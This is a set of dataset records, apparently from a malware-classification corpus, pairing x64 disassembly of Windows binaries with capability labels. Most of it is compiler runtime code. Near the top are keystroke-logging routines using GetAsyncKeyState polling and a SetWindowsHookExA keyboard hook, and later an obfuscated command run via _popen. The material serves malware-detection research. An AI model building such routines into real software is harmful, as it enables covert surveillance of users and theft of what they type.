joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001b68
Capabilities:
Log keystrokes via polling

Disassembly:
push rbp
push rbx
sub rsp, 0x48
lea rbp, [rsp + 0x40]
mov dword [rbp + 0x20], ecx
mov ecx, 0xa1
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
setne al
test al, al
je 0x140001c1d
lea rax, [rbp - 0x20]
mov rcx, rax
call fcn.1400043c0
lea rax, [rbp - 0x20]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::empty___const
xor eax, 1
test al, al
je 0x140001bf5
mov r8d, 1
lea rax, str.log.txt
mov rdx, rax
lea rax, [0x14000c040]
mov rcx, rax
call sym.std::basic_fstream_char__std::char_traits_char___::open_char_const__std::_Ios_Openmode_
lea rax, [rbp - 0x20]
mov rdx, rax
lea rax, [0x14000c050]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std::allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [0x14000c040]
mov rcx, rax
call sym.std::basic_fstream_char__std::char_traits_char___::close__
lea rax, [rbp - 0x20]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x140001c1d
nop
add rsp, 0x48
pop rbx
pop rbp
ret

Function at 0x140001cbb
Capabilities:
Log keystrokes via application hook

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp + 0x10], rcx
mov r9d, 0
mov r8d, 0
lea rax, [dbg.LowLevelKeyBoardProc(int, unsigned long long, long long)]
mov rdx, rax
mov ecx, 0xd
mov rax, qword [sym.imp.USER32.dll_SetWindowsHookExA]
call rax
mov qword [0x14000d340], rax
mov rax, qword [0x14000d340]
test rax, rax
jne 0x140001d05
mov eax, 0
jmp 0x140001d35
nop
lea rax, [rbp - 0x30]
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetMessageA]
call rax
test eax, eax
setne al
test al, al
jne 0x140001d06
mov eax, 1
add rsp, 0x50
pop rbp
ret
Function at 0x140004740
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call dbg.vfprintf
call sym.abort
nop
nop dword [rax]

Function at 0x1400047b0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14000d3c4]
mov rbx, rcx
test esi, esi
jle 0x1400048e0
mov rax, qword [0x14000d3c8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x1400047fb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140004885
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x1400047e0
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x140004902
mov rax, qword [0x14000d3c8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14000d3c8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1400048e7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x14000487e
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x140004890
add dword [0x14000d3c4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14000d3c8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000487e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140004808
mov rax, qword [0x14000d3c8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140004e90
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14000d420]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000d400]
test rbx, rbx
je 0x140004eec
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x140004ee3
test eax, eax
jne 0x140004ee3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140004ec8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140005100
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140005118
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140005120
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140005130
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x14000517d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x140005174
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x14000517f
add rax, 0x28
cmp rax, r9
jne 0x140005160
xor eax, eax
ret

Function at 0x140005180
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x140005210
mov rdx, qword [0x140009640]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x1400051fe
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x1400051fe
cmp word [rax + 0x18], 0x20b
jne 0x1400051fe
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x140005210
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x1400051e9
add rbx, 0x28
cmp rbx, rdi
je 0x140005210
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x1400051e0
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x140005220
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140009640]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140005240
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140005248
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140005240
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000529d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140005294
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140005240
add rax, 0x28
cmp rax, r9
jne 0x140005280
xor eax, eax
ret

Function at 0x1400052a0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140009640]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x1400052bf
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400052c8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400052bf
movzx ecx, word [rax + 6]
mov eax, ecx
ret
Function at 0x1400052e0
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x140009640]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140005300
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140005308
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140005300
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x140005350
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140005347
test rcx, rcx
je 0x140005300
sub rcx, 1
add rax, 0x28
cmp rdx, rax
jne 0x140005338
xor eax, eax
ret

Function at 0x140005360
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140009640]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000537f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140005388
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x1400053a0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140009640]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400053c0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400053c8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400053c0
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x1400053c0
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x140005414
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140005420
add rdx, 0x28
cmp rdx, r9
jne 0x140005400
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140005430
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x140009640]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140005452
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140005460
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140005452
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140005452
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x140005452
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x1400054b5
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x1400054c8
add rdx, 0x28
cmp r10, rdx
jne 0x1400054a0
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x1400054d7
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x1400054e7
mov edx, dword [rax + 0xc]
test edx, edx
je 0x1400054be
test ecx, ecx
jg 0x1400054d0
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140004420]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x140004430]
mov dword [rax], 1
mov rax, qword [0x140004440]
mov dword [rax], 1
mov rax, qword [0x1400043a0]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x140004410]
mov dword [0x14000700c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x1400044e0]
mov edx, dword [rdx]
mov dword [rax], edx
call sym.__p__commode
mov rdx, qword [0x1400044c0]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x140004380]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a

Function at 0x140001584
Capabilities:
Set current directory

Disassembly:
push rbp
sub rsp, 0x430
lea rbp, [rsp + 0x80]
lea rax, [rbp - 0x60]
mov r8d, 0x400
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.strlen
mov dword [rbp + 0x3ac], eax
jmp 0x1400015ea
mov eax, dword [rbp + 0x3ac]
cdqe
movzx eax, byte [rbp + rax - 0x60]
cmp al, 0x5c
jne 0x1400015e3
mov eax, dword [rbp + 0x3ac]
cdqe
mov byte [rbp + rax - 0x60], 0
jmp 0x1400015f3
sub dword [rbp + 0x3ac], 1
cmp dword [rbp + 0x3ac], 0
jne 0x1400015c3
lea rax, [rbp - 0x60]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
call rax
nop
add rsp, 0x430
pop rbp
ret
Function at 0x14000160d
Capabilities:
Get session user name

Disassembly:
push rbp
sub rsp, 0x150
lea rbp, [rsp + 0x80]
lea rax, str.Make_username_Started_._n
mov rcx, rax
call sym.Log
mov dword [rbp - 0x44], 0x101
movabs rax, 0x24777324676d717b
mov qword [rbp - 0x60], rax
movabs rax, 0x6d7669772478696b
mov qword [rbp - 0x58], rax
movabs rax, 0x7669667179727065
mov qword [rbp - 0x50], rax
mov byte [rbp - 0x48], 0
lea rdx, [rbp - 0x44]
lea rax, [rbp - 0x40]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_GetUserNameA]
call rax
lea rax, [rbp - 0x40]
mov rdx, rax
lea rax, [0x140007060]
mov rcx, rax
call sym.strcpy
lea rax, [rbp - 0x60]
mov edx, 0
mov rcx, rax
call sym.cipher
lea rax, [rbp - 0x60]
lea rdx, [0x140004023]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__popen]
call rax
mov qword [rbp + 0xc8], rax
cmp qword [rbp + 0xc8], 0
je 0x140001719
mov rax, qword [rbp + 0xc8]
mov rcx, rax
call sym.fgetc
mov byte [rbp + 0xc7], al
movzx eax, byte [rbp + 0xc7]
cmp al, 0x39
jg 0x14000170e
movzx eax, byte [rbp + 0xc7]
cmp al, 0x2f
jle 0x14000170e
lea rax, [rbp + 0xc7]
mov r8d, 1
mov rdx, rax
lea rax, [0x140007060]
mov rcx, rax
call sym.strncat
movzx eax, byte [rbp + 0xc7]
cmp al, 0xff
jne 0x1400016c4
mov edx, 1
lea rax, [0x140007060]
mov rcx, rax
call sym.cipher
lea rax, str.Make_username_finished_._n
mov rcx, rax
call sym.Log
nop
add rsp, 0x150
pop rbp
ret

Function at 0x140001a30
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x140001aa0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x140007104]
test esi, esi
mov rbx, rcx
jle 0x140001bd0
mov rax, qword [0x140007108]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140001aeb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001b75
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001ad0
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov rdi, rax
je 0x140001bf2
mov rax, qword [0x140007108]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call sym._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140007108]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001bd7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140001b6e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001b80
add dword [0x140007104], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov r8d, 0x40
mov eax, 4
mov rcx, qword [rsp + 0x20]
cmove r8d, eax
mov rdx, qword [rsp + 0x38]
add rbx, qword [0x140007108]
mov r9, rbx
mov qword [rbx + 8], rcx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001b6e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140001af8
mov rax, qword [0x140007108]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [rdi + 8]
mov r8, qword [rax + rbx + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140002160
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140007160]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140007140]
test rbx, rbx
je 0x1400021bc
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x1400021b3
test rsi, rsi
je 0x1400021b3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002198
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x1400023d0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400023e8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x1400023f0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x140002400
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx r8d, word [rcx + 6]
movzx eax, word [rcx + 0x14]
test r8w, r8w
lea rax, [rcx + rax + 0x18]
je 0x14000244d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rdx, r8
mov rcx, r8
jb 0x140002444
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x14000244f
add rax, 0x28
cmp rax, r9
jne 0x140002430
xor eax, eax
ret

Function at 0x140002450
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x1400024e0
mov rdx, qword [0x1400043a0]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x1400024ce
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x1400024ce
cmp word [rax + 0x18], 0x20b
jne 0x1400024ce
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x1400024e0
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x1400024b9
add rbx, 0x28
cmp rbx, rdi
je 0x1400024e0
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x1400024b0
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x1400024f0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400043a0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002510
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002518
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002510
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000256d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x140002564
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002510
add rax, 0x28
cmp rax, r9
jne 0x140002550
xor eax, eax
ret

Function at 0x140002570
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400043a0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000258f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002598
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000258f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x1400025b0
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x1400043a0]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x1400025d0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x1400025d8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x1400025d0
movzx r8d, word [rdx + 6]
movzx eax, word [rdx + 0x14]
test r8w, r8w
lea rax, [rdx + rax + 0x18]
je 0x140002620
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140002617
test rcx, rcx
je 0x1400025d0
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x140002608
xor eax, eax
ret
Function at 0x140002630
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400043a0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000264f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002658
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140002670
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400043a0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002690
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002698
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002690
movzx r9d, word [r8 + 6]
sub rcx, rdx
movzx edx, word [r8 + 0x14]
test r9w, r9w
lea rdx, [r8 + rdx + 0x18]
je 0x140002690
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
cmp rcx, r8
mov rax, r8
jb 0x1400026e4
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x1400026f0
add rdx, 0x28
cmp r9, rdx
jne 0x1400026d0
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140002700
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x1400043a0]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140002722
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140002730
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002722
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140002722
movzx r10d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
test r10w, r10w
lea rdx, [r8 + rdx + 0x18]
je 0x140002722
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
cmp rax, r9
mov r8, r9
jb 0x140002785
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140002798
add rdx, 0x28
cmp rdx, r10
jne 0x140002770
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x1400027a7
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x1400027b7
mov edx, dword [rax + 0xc]
test edx, edx
je 0x14000278e
test ecx, ecx
jg 0x1400027a0
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x140001ff4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000203e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000203e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000203e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000203e
cmp dword [rcx + 0x84], 0xe
jbe 0x14000203e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002040
xor al, al
add rsp, 0x28
ret